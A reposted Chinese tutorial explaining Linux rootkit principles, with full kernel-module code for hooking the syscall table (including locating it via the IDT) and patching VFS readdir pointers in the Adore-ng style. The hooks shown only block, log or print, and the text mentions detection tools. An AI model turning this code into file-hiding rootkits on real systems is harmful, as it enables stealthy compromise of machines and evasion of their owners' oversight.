rootkit的主要原理[网络技术]
本文“rootkit的主要原理[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
上面是网上到处可见的rootkit的一篇文章,抱着辩证的态度读之,N年前的东西了,有值得鉴戒的也有out的东东了.
由于getdents64()是系统调用,所以要干涉它,只能在内核中,通过驱动程序方法,在Linux下就是LKM方法.目前有两种办法来”干涉”.
1.Hook系统调用表(system call table)的getdents64调用项
先看个代码:
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
MODULE_LICENSE("GPL");
extern void* sys_call_table[]; /*sys_call_table is exported, so we can accessit. But in some system this will cause problem */
int (*orig_mkdir)(const char *path); /*the original systemcall*/
int hacked_mkdir(const char *path)
{
return 0; /*everything is ok, but he new systemcall does nothing*/
}
int init_module(void) /*module setup*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_mkdir]=orig_mkdir;
/*set mkdir syscall to the origal one*/
}
上面的代码看看就行,看看历程!!!我也不知道在那边search到得了,用这种办法实现系统调用有个前提,就是系统必须导出 sys_call_table内核标记,但是在2.6中,sys_call_table不再导出.也就是说模块中不能再通过简单的extern void *sys_call_table[];来得到系统调用表地址.所幸的是,即便内核不导出sys_call_table,也可以在内存中找到它的地址,下面是它的实现办法:
#include <linux/module.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <asm/unistd.h>
MODULE_LICENSE("GPL");
unsigned long *sys_call_table=NULL;
asmlinkage int (*orig_mkdir)(const char *,int);
struct _idt
{
unsigned short offset_low,segment_sel;
unsigned char reserved,flags;
unsigned short offset_high;
};
unsigned long *getscTable(){
unsigned char idtr[6],*shell,*sort;
struct _idt *idt;
unsigned long system_call,sct;
unsigned short offset_low,offset_high;
char *p;
int i;
/* get the interrupt descriptor table */
__asm__("sidt %0" : "=m" (idtr));
/* get the address of system_call */
idt=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);
offset_low = idt->offset_low;
offset_high = idt->offset_high;
system_call=(offset_high<<16)|offset_low;
shell=(char *)system_call;
sort="\xff\x14\x85";
/* get the address of sys_call_table */
for(i=0;i<(100-2);i++)
if(shell[i]==sort[0]&&shell[i+1]==sort[1]&&shell[i+2]==sort[2])
break;
p=&shell[i];
p+=3;
sct=*(unsigned long*)p;
return (unsigned long*)(sct);
}
asmlinkage int hacked_mkdir(const char * pathname, int mode){
printk("PID %d called sys_mkdir !\n",current->pid);
return orig_mkdir(pathname,mode);
}
static int __init find_init(void){
sys_call_table = getscTable();
orig_mkdir=(int(*)(const char*,int))sys_call_table[__NR_mkdir];
sys_call_table[__NR_mkdir]=(unsigned long)hacked_mkdir;
return 0;
}
static void __exit find_cleanup(void){
sys_call_table[__NR_mkdir]=(unsigned long)orig_mkdir;
}
module_init(find_init);
module_exit(find_cleanup);
getscTable()是在内存中查找sys_call_table地址的函数.每一个系统调用都是通过int 0x80中止进入核心,中止描写符表把中止服务程序和中止向量对应起来.关于系统调用来说,操作系统会 调用system_call中止服务程序. system_call函数在系统调用表中按照系统调用号找到并调用呼应的系统调用服务例程.idtr存放器指向中止描写符表的起始地址,用 __asm__ ("sidt %0" : "=m" (idtr));指令得到中止描写符表起始地址,从这条指令中得到的指针可以得到int 0x80中止服描写符所在位置,然后计算出system_call函数的地址.反编译一下system_call函数可以看到在system_call函 数内,是用call sys_call_table指令来调用系统调用函数的.
因此,只要找到system_call里的call sys_call_table(,eax,4)指令的机械指令便可以得到系统调用表的进口地址了.
这种hook系统调用表的办法在Linux rootkit中曾经风行一时,但目前已经成为过去式,因为反黑客软件通过查抄系统调用表(与干净的该系统调用表的备份一对比)就可以发现有黑客软件驻留.可以通过rkhunter和chkrootkit查抄看看!!!
2. Adore-ng rootkit供应了一种新的办法.简单的说,就是通过改正vfs文件系统的函数跳转表来截获系统调用,这种办法不用借助于系统调用表.
通过改正VFS(Virtual File Switch)中的相关函数指针来实现躲藏文件这是对比新,也是让反黑客软件对比头痛的一种办法.所谓VFS是Linux在实际文件系统上抽象出的一个文 件系统模子,而各个具体的文件系统,比方象ext3,vfat等,则是VFS这个抽象类的子类,这个我也不是很懂.
Adore-ng rootkit供应了一种新的办法.简单的说,就是通过改正vfs文件系统的函数跳转表来截获系统调用,这种办法不用借助于系统调用表.下篇文章我讲解析下Adore-ng源码.
下面是它的实现办法:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/file.h>
MODULE_LICENSE("GPL");
char *root_fs="/";
typedef int (*readdir_t)(struct file *,void *,filldir_t);
readdir_t orig_root_readdir=NULL;
int myreaddir(struct file *fp,void *buf,filldir_t filldir)
{
int r;
printk("<1>You got me partner!\n");
r=orig_root_readdir(fp,buf,filldir);
return r;
}
int patch_vfs(const char *p,readdir_t *orig_readdir,readdir_t new_readdir)
{
struct file *filep;
filep=filp_open(p,O_RDONLY,0);
if(IS_ERR(filep))
return -1;
if(orig_readdir)
*orig_readdir=filep->f_op->readdir;
filep->f_op->readdir=new_readdir;
filp_close(filep,0);
return 0;
}
int unpatch_vfs(const char *p,readdir_t orig_readdir)
{
struct file *filep;
filep=filp_open(p,O_RDONLY,0);
if(IS_ERR(filep))
return -1;
filep->f_op->readdir=orig_readdir;
filp_close(filep,0);
return 0;
}
static int patch_init(void)
{
patch_vfs(root_fs,&orig_root_readdir,myreaddir);
printk("<1>VFS is patched!\n");
return 0;
}
static void patch_cleanup(void)
{
unpatch_vfs(root_fs,orig_root_readdir);
printk("<1>VFS is unpatched!\n");
}
module_init(patch_init);
module_exit(patch_cleanup);
本文来自 http://www.110hack.com/ (黑客软件)
以上是“rootkit的主要原理[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |